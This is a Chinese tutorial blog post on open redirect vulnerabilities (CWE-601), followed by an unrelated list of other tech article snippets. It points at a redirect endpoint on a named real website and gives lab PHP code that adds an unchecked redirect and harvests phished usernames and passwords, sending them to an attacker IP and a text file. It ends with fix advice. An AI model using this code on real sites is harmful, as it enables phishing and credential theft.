URL重定向漏洞

URL重定向漏洞

  • 1. URL重定向
    • 1.1. 漏洞位置
  • 2. URL重定向基础演示
    • 2.1. 查找漏洞
      • 2.1.1. 测试漏洞
      • 2.1.2. 加载完情况
      • 2.1.3. 验证漏洞
      • 2.1.4. 成功验证
    • 2.2. 代码修改
      • 2.2.1. 用户端代码修改
      • 2.2.2. 攻击端代码修改
    • 2.3. 利用思路
      • 2.3.1. 用户端
        • 2.3.1.1. 验证跳转
      • 2.3.2. 攻击端
        • 2.3.2.1. 跳转钓鱼
        • 2.3.2.2. 获取账号密码
        • 2.3.2.3. 查看账号密码
  • 3. 修复
  • 4. 总结

1. URL重定向

  URL跳转漏洞,也叫开放重定向漏洞(open redirect) 。CWE-601对该漏洞的描述为:http 参数可能包含一个 URL 值,并可能导致 Web 应用程序将请求重定向到指定的 URL。通过修改恶意站点的 URL 值,攻击者可能成功发起网络钓鱼诈骗并窃取用户凭据。简单说来就是参数可控导致的漏洞产生。

1.1. 漏洞位置

  下面就是漏洞可能存在的一些位置。

  • 用户登录、统一身份认证、认证完进行跳转。
  • 用户分享、收藏内容跳转。
  • 跨站点认证、授权后。
  • 站内其它链接跳转。
  • 注册、注销、修改密码等。
  • 账户切换、保存设置。

2. URL重定向基础演示

  这里就是简单的查找演示,不会将对真实的网站进行测试。

2.1. 查找漏洞

inurl:url=http://

在这里插入图片描述

2.1.1. 测试漏洞

  这里可以看到URL就是一个典型的后面带地址跳转的。

https://www.lsbin.com/wp-content/themes/begin%20lts/inc/go.php?url=http://picasion.com/

在这里插入图片描述

2.1.2. 加载完情况

  可以看到是跳转到另外一个网站了,那么就证明这个是可以利用的。

在这里插入图片描述

2.1.3. 验证漏洞

  这里我们将后面的地址修改为百度的地址,看看是否能够正常跳转。

https://www.lsbin.com/wp-content/themes/begin%20lts/inc/go.php?url=https://baidu.com/

在这里插入图片描述

2.1.4. 成功验证

  这里可以看到成功跳转了。

在这里插入图片描述

2.2. 代码修改

  代码修改,这里由于特殊情况,所以需要修改一下代码。

2.2.1. 用户端代码修改

  这里就是为了让用户端能够接收跳转,原本的靶场是不支持跳转的。

客户端搭建成功后,修改zb_system/login.php文件加入代码:
if(isset($_GET['url'])){header("Location: " . $_GET['url']);
}

在这里插入图片描述

2.2.2. 攻击端代码修改

  这里就是为了能够实现一些密码读取的功能,需要对其代码进行修改,这里会代码的大佬就不用看了。

修改zb_system/cmd.php接收文件,这里的IP地址要写攻击端的,当然有域名肯定就写域名,这里是我测试。
加入代码:
$username=$_POST['username'];
$password=$_POST['password'];
echo "<script src=http://192.168.10.40/zblog/zb_system/x.php?username=$username&password=$password></script>";    

在这里插入图片描述

  同样这里需要创建一个X.php来接收数据。

创建zb_system/x.php接受文件
<?php$user=$_REQUEST['username'];
$pass=$_REQUEST['password'];
//echo $user.$pass;
$file=fopen('users.txt','a+');
fwrite($file,$user.'|'.$pass);
fclose($file);?>

在这里插入图片描述

2.3. 利用思路

  这里我们可以这么想,既然存在跳转的情况,那么如果将URL后面的地址修改成功我们自己搭建的钓鱼界面的话,那么是不是就可以成功进行钓鱼了,比如在一些需要输入账号密码的输入框页面中,那么当跳转后,用户依旧以为是正常的跳转,实际上已经跳转到攻击者构建的网站上了。

2.3.1. 用户端

  这里打开页面发现是一个登录的页面,那么登录页面就满足了我们钓鱼的想法,那么就是制作一个一模一样的登录页面,然后通过修改参数将账户密码读取出来。

http://192.168.10.30/zblog/zb_system/login.php

在这里插入图片描述

2.3.1.1. 验证跳转

  这里验证一下跳转,这里也是成功跳转了。

http://192.168.10.30/zblog/zb_system/login.php?url=http://baidu.com

在这里插入图片描述

2.3.2. 攻击端

  这里再上面修改好了之后,利用URL重定向进行钓鱼,把你涉及的URL发送给别人,让对方去点击,那么点击后就会跳转,若输入账号密码,那么就会得到相关的账号密码或个人信息。

2.3.2.1. 跳转钓鱼

  可以看到这里是成功跳转了,如果你再创建一个域名比较像的,那么是不是就实现了迷惑?

http://192.168.10.30/zblog/zb_system/login.php?url=http://192.168.10.40/zblog/zb_system/login.php

在这里插入图片描述

2.3.2.2. 获取账号密码

  这里就等对方输入账户密码了,这里当用户端输入账号密码后,那么再攻击端就能够看到账号密码了,当然这里是会出现登录错误的情况。

  其实这里还有一个办法,如果没有验证码的情况下,可以再你的网站上做个中转,比如将用户输入的账号密码记录下来的同时,自动发送到原先的网站,然后再去校验跳转回原来的网站,这样就神不知鬼不觉了。

在这里插入图片描述

2.3.2.3. 查看账号密码

  这里我们毕竟使用的是比如的靶场,所以密码都是加密的,如果是代码水平高,自制一个也是可以的。

在这里插入图片描述

3. 修复

  绕过方式网上也很多,这里就不介绍了,只要给几个修复建议吧!

  • 1.使用白名单
  • 2.在可能的情况下,让用户提供在服务器端映射到完整目标 URL 的短名称、ID 或令牌
  • 3.不允许将 URL 作为目标的用户输入
  • 4.如果无法避免用户输入,请确保提供的值有效、适用于应用程序,并且已为用户授权
  • 5.从应用程序中删除重定向功能,并将指向它的链接替换为指向相关目标 URL 的直接链接

4. 总结

  以上就是关于url跳转漏洞的一些相关内容。这个漏洞是属于比较好理解的,适合刚入门的新手学习。这个漏洞本身是低危的,当在渗透测试时如果发现存在这个漏洞的时候,不妨看看有没有机会和其他漏洞配合扩大攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/118143.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

idea远程debug调试

背景 有时候我们线上/测试环境出现了问题&#xff0c;我们本地跑却无法复现问题&#xff0c;使用idea的远程debug功能可以很好的解决该问题 配置 远程debug的服务&#xff0c;我们使用Springboot项目为例(SpringCloud作为微服务项目我们可以可以使用本地注册到远程项目&…

3D DRAM:突破内存瓶颈的新希望

DRAM&#xff0c;动态随机存储器&#xff0c;是一种在计算机、消费电子、通信等领域广泛应用的内存技术。它的主要特点是在同一周期内可以随机读取或写入单字节数据&#xff0c;使得其在各种计算应用中成为不可或缺的组件。 DRAM的发展历程充满了戏剧性和技术革新。最早的DRAM诞…

使用栈检查括号的合法性 C 实现

使用栈检查括号的合法性 思路讲解&#xff1a;首先从数组数组0下标开始&#xff0c;如果是左括号直接无脑压入栈&#xff0c;直到出现右括号开始判断合法与否。遇到右括号分两种情况&#xff0c;第一种是空栈的情况&#xff0c;也就是说我们第一个字符就是右括号&#xff0c;那…

1921. 消灭怪物的最大数量

文章目录 Tag题目来源题目解读解题思路方法一&#xff1a;贪心排序 复杂度分析写在最后 Tag 【贪心】【排序】【数组】 题目来源 1921. 消灭怪物的最大数量 题目解读 dist[i] 是第 i 个怪兽与城市的初始距离&#xff0c;speed[i] 是第 i 个怪兽的移动距离。怪兽的目的是攻击…

Android JNI系列详解之ndk编译工具环境变量配置

一、前提 之前是只介绍了CMake编译工具的使用&#xff0c;现在介绍另一种原生&#xff08;NDK自带的脚本工具&#xff09;自带的编译方式&#xff1a;ndk-build&#xff0c;想要使用ndk-build编译工程&#xff0c;我们需要配置全局的环境变量。 二、配置环境变量 找到ndk在电脑…

Spring Boot 中 Nacos 配置中心使用实战

官方参考文档 https://nacos.io/zh-cn/docs/quick-start-spring-boot.html 本人实践 1、新建一个spring boot项目 我的spirngboot版本为2.5.6 2、添加一下依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-…

OpenCV(九):LUT查找表

LUT&#xff08;Look-Up Table&#xff09;查找表是OpenCV中一种常用的图像处理方法&#xff0c;用于对图像进行像素级别的颜色映射或图像增强操作。LUT查找表可以实现快速、高效的颜色转换和像素操作&#xff0c;尤其在处理大量像素的情况下具有优势。以下是关于OpenCV LUT查找…

【ELK日志收集系统】

目录 一、概述 1.作用 2.为什么使用&#xff1f; 二、组件 1.elasticsearch 1.1 作用 1.2 特点 2.logstash 2.1 作用 2.2 工作过程 2.3 INPUT 2.4 FILETER 2.5 OUTPUTS 3.kibana 三、架构类型 1.ELK 2.ELKK 3.ELFK 4.ELFKK 四、案例 - 构建ELK集群 1.环境…

【C++刷题】动态规划

文章目录 前言一、斐波那契系列1.第 N 个泰波那契数2.三步问题3.使用最小花费爬楼梯4.解码方法5.不同路径6.下降路径最小和7.地下城游戏 二、多种状态系列1.按摩师2.打家劫舍II3.删除并获得点数4.粉刷房子5.买卖股票的最佳时机6.买卖股票的最佳时机III 三、子数组和子串系列1.最…

WebSocket--技术文档--架构体系--《WebSocket实现原理以及关键组件》

WebSocket产生背景 简单的说&#xff0c;WebSocket协议之前&#xff0c;双工通信是通过多个http链接来实现&#xff0c;这导致了效率低下。WebSocket解决了这个问题。下面是标准RFC6455中的产生背景概述。 长久以来, 创建实现客户端和用户端之间双工通讯的web app都会造成HTT…

Gorm简单了解

GORM 指南 | GORM - The fantastic ORM library for Golang, aims to be developer friendly. 04_GORM查询操作_哔哩哔哩_bilibili 前置&#xff1a; db调用操作语句中间加debug&#xff08;&#xff09;可以显示对应的sql语句 1.Gorm模型定义&#xff08;理解重点&#xff…

智慧排水监测系统,科技助力城市排水治理

城市里&#xff0c;人们每天通过道路通行&#xff0c;人多&#xff0c;路窄&#xff0c;都会拥堵。同样&#xff0c;下雨天&#xff0c;雨水通过雨篦汇集、管道输送&#xff0c;最终排出去&#xff0c;当雨水过大&#xff0c;或者管道过窄&#xff0c;或者管道不通畅&#xff0…

Java 复习笔记 - 面向对象篇

文章目录 一&#xff0c;面向对象概述二&#xff0c;类和对象&#xff08;一&#xff09;类和对象的概述&#xff08;二&#xff09;定义类的补充注意事项 三&#xff0c;封装四&#xff0c;就近原则和this关键字&#xff08;一&#xff09;就近原则&#xff08;二&#xff09;…

学生管理系统VueAjax版本

学生管理系统VueAjax版本 使用Vue和Ajax对原有学生管理系统进行优化 1.准备工作 创建AjaxResult类&#xff0c;对Ajax回传的信息封装在对象中 package com.grg.Result;/*** Author Grg* Date 2023/8/30 8:51* PackageName:com.grg.Result* ClassName: AjaxResult* Descript…

stm32f1xx单片机拦截中断源代码

这个是实现后的效果&#xff0c;可以看到已经没有中断的效果了 这个是拦截前的效果可以看到电平是在变化的 实现原理非常简单&#xff1a;一句话搞定&#xff1a; if(TIM2->CNTTIM2->ARR-5)TIM2->CNT-5; 以下是完整的代码&#xff1a;是用来补充说明和筹字数的 /* …

CSS 一个好玩的卡片“开卡效果”

文章目录 一、用到的一些CSS技术二、实现效果三、代码 一、用到的一些CSS技术 渐变 conic-gradientbox-shadowclip-path变换、过渡 transform、transition动画 animation keyframes伪类、伪元素 :hover、::before、::after …绝对布局。。。 clip-path 生成网站 https://techb…

二进制转换16进制 快速心算

1111 1110 ---> 0xFE 1111 为 8 4 2 1 ---> 8 4 2 1 15 --> 16进制表示为F1110 为 8 4 2 0 ---> 8 4 2 0 14 --> 16进制表示为E

Vulnstack----5、ATTCK红队评估实战靶场五

文章目录 一 环境搭建二 外网渗透三 内网信息收集3.1 本机信息收集3.2 域内信息收集 四 横向移动4.1 路由转发和代理通道4.2 抓取域用户密码4.3 使用Psexec登录域控4.4 3389远程登录 五、痕迹清理 一 环境搭建 1、项目地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/7/ …

合宙Air724UG LuatOS-Air LVGL API控件--进度条 (Bar)

进度条 (Bar) Bar 是进度条&#xff0c;可以用来显示数值&#xff0c;加载进度。 示例代码 – 创建进度条 bar lvgl.bar_create(lvgl.scr_act(), nil) – 设置尺寸 lvgl.obj_set_size(bar, 200, 20); – 设置位置居中 lvgl.obj_align(bar, NULL, lvgl.ALIGN_CENTER, 0, 0) …

js实现点击查看全部/收起功能

在上一篇文章实现用js截取文本后&#xff0c;我的另一个需求也迎刃而解了。需求就是一段长文本需要溢出隐藏&#xff0c;然后点击全部时显示全部文本&#xff0c;点击收起又回到溢出隐藏的状态。实现的效果如下图&#xff1a; 实现的思路时点击全部时使用这条数据的原文本&…